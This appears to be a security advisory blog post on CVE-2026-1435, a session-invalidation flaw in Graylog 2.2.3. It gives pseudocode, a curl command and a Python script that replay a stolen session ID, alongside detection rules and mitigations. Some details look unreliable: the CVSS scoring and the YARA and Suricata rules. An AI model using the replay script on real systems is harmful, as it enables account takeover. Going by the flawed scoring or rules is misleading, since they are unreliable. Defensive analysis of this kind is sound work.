CVE-2026-1435

Executive Summary

CVE-2026-1435 is a critical session management vulnerability in Graylog Web Interface version 2.2.3. The flaw arises from improper session invalidation: when a user authenticates, the application generates a new sessionId but fails to invalidate previously issued session identifiers. This means that even after multiple consecutive logins by the same user, old session tokens remain valid. An attacker who gains access to the web service or API network (port 9000 or the HTTP/S endpoint) can reuse a stolen or leaked sessionId to authenticate valid requests, leading to unauthorized access, API interaction, and potential compromise of the affected account.

This vulnerability is particularly dangerous because it does not require complex exploitation—only network access to the Graylog interface and a valid (but old) session token. The lack of a patch or official advisory from Graylog at this time increases the risk for organizations using this version.

Supply Chain & Package Security

Graylog is a Java-based log management platform distributed via official channels (e.g., Tarball, RPM, DEB, Docker). This vulnerability is not a supply chain attack but a code-level flaw in the session management logic. Organizations should verify they are not running version 2.2.3 and ensure no custom builds or forks introduce similar issues.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the description, a reasonable assessment is:

• Attack Vector (AV): Network (N) – The attacker must have network access to the Graylog web interface.
• Attack Complexity (AC): Low (L) – No special conditions required; only a valid old session token.
• Privileges Required (PR): None (N) – The attacker does not need prior authentication.
• User Interaction (UI): None (N) – No user action needed.
• Scope (S): Unchanged (U) – The vulnerability affects only the Graylog application.
• Confidentiality (C): High (H) – Full access to logs and data.
• Integrity (I): High (H) – Ability to modify or delete logs.
• Availability (A): High (H) – Potential to disrupt logging services.

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical – Exploitation is straightforward if an attacker obtains a session token.

Deep Dive & Mechanics

The vulnerability lies in the session management logic of Graylog Web Interface version 2.2.3. When a user logs in, the application creates a new sessionId and associates it with the user's session. However, the old sessionId is not invalidated or removed from the active session store. This means that both the old and new session tokens remain valid simultaneously.

Attack Flow:

1. An attacker gains access to a valid sessionId (e.g., via network sniffing, log leakage, or a compromised endpoint).
2. The attacker uses this sessionId to make authenticated requests to the Graylog API or web interface.
3. The server accepts the old token because it was never invalidated.
4. The attacker can then view logs, modify configurations, or perform other actions with the privileges of the original user.

Root Cause: The session invalidation function is not called upon successful re-authentication. The code likely generates a new token but does not iterate over existing tokens for the same user to revoke them.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable behavior:

Vulnerable Code (Conceptual):

// Pseudocode for session creation in Graylog 2.2.3
public String createSession(User user) {
    String newSessionId = generateSessionId();
    sessionStore.put(newSessionId, user);
    // Missing: invalidateOldSessions(user);
    return newSessionId;
}

Patched Code (Expected):

public String createSession(User user) {
    // Invalidate all existing sessions for this user
    for (String sessionId : sessionStore.getSessionsForUser(user)) {
        sessionStore.remove(sessionId);
    }
    String newSessionId = generateSessionId();
    sessionStore.put(newSessionId, user);
    return newSessionId;
}

The fix ensures that when a new session is created, all previous sessions for the same user are invalidated.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Network access to Graylog Web Interface on port 9000 (or HTTP/S endpoint).
• A valid sessionId from a previous login (e.g., obtained via packet capture, log file, or XSS).

Exploitation Steps:

1. Capture a valid sessionId from network traffic or logs.
2. Use the token to make authenticated API requests:

   curl -X GET "http://target:9000/api/system/sessions" \
        -H "Authorization: Session <old_sessionId>"
   

3. If successful, the attacker can access all API endpoints with the victim's privileges.

Example Attack Script:

import requests

target = "http://victim:9000"
old_session = "abc123def456"  # Stolen session ID

headers = {
    "Authorization": f"Session {old_session}",
    "Accept": "application/json"
}

# Attempt to access system information
response = requests.get(f"{target}/api/system", headers=headers)
if response.status_code == 200:
    print("Exploitation successful! System info:", response.json())
else:
    print("Failed to exploit:", response.status_code)

Blue Team (Defense & Detection)

Detection:

• Monitor for multiple sessionId values associated with the same user in logs.
• Alert on API requests using session tokens that were created before the last login time of the user.

Mitigation:

• Immediately upgrade to a patched version if available.
• Implement network segmentation to restrict access to port 9000.
• Use short session timeouts and enforce re-authentication for sensitive actions.
• Monitor for anomalous session reuse patterns.

Indicators of Compromise (IOCs)

• Network: HTTP requests to /api/* with Authorization: Session <token> where the token creation timestamp is older than the user's last login timestamp.
• Logs: Graylog server logs showing multiple session creations for the same user without corresponding invalidations.
• File: No specific file IOCs; the vulnerability is purely logical.

Example Log Entry (Suspicious):

2026-03-15 10:00:00 INFO  [SessionManager] Created session abc123 for user admin
2026-03-15 10:05:00 INFO  [SessionManager] Created session def456 for user admin
2026-03-15 10:10:00 INFO  [ApiRequest] Authenticated request from session abc123 (old) - user admin

Detection Engineering

YARA Rule

rule CVE_2026_1435_Session_Invalidation {
    meta:
        description = "Detects Graylog session management vulnerability CVE-2026-1435"
        author = "Valters IT"
        date = "2026-03-15"
        reference = "CVE-2026-1435"
    strings:
        $s1 = "sessionId" nocase
        $s2 = "invalidate" nocase
        $s3 = "createSession" nocase
    condition:
        all of ($s1, $s2, $s3) and #s1 > 1
}

Sigma Rule

title: Graylog Session Reuse Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reuse of old session tokens in Graylog, indicating CVE-2026-1435 exploitation
author: Valters IT
date: 2026/03/15
logsource:
    category: application
    product: graylog
detection:
    selection:
        EventID: "ApiRequest"
        SessionAge: "old"
    condition: selection
falsepositives:
    - Legitimate session token reuse due to misconfiguration
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET 9000 (
    msg:"CVE-2026-1435 Graylog Session Reuse Attempt";
    flow:to_server,established;
    content:"Authorization: Session";
    http_header;
    pcre:"/Session\s+[a-f0-9]{32}/i";
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade: If a patched version becomes available, upgrade immediately. Currently, no patch exists for version 2.2.3.
2. Network Segmentation: Restrict access to port 9000 to trusted IPs only.
3. Session Timeout: Reduce session timeout to minimize the window of opportunity.
4. Monitor Logs: Actively monitor for session reuse patterns.

Long-Term Fixes:

• Implement proper session invalidation on re-authentication.
• Use short-lived tokens with refresh mechanisms.
• Conduct a security audit of the session management code.

Workarounds:

• Use a reverse proxy (e.g., Nginx) to add additional authentication layers.
• Enable multi-factor authentication (MFA) to reduce the impact of token theft.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert